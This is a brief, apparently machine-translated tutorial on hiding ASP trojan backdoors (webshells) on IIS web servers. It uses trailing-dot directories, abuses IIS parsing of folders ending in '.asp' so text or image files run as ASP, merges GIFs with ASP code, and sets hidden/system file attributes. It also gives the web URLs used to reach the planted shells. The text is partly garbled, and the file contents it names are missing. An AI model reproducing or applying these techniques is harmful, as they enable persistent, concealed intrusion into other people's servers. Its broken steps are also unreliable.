Hide ASP Trojan back door of two ways _ Trojan related

1, the establishment of non-standard directory: mkdir images. \
Copy ASP Trojan to directory: Copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images. \news.asp
Accessing ASP Trojans via the Web: http://ip/images../news.asp?action=login
How to delete a nonstandard directory: RmDir images. \ s
2. iis in Windows resolves files in directories that end with. asp to achieve the purpose of hiding the back door of our own pages:
mkdir programme.asp
New 1.txt file content:
New 12.jpg file content: or use GIF merged with ASP file
attrib +h +s programme.asp
Accessing ASP through the Web a word trojan: http://ip/images/programme.asp/1.txt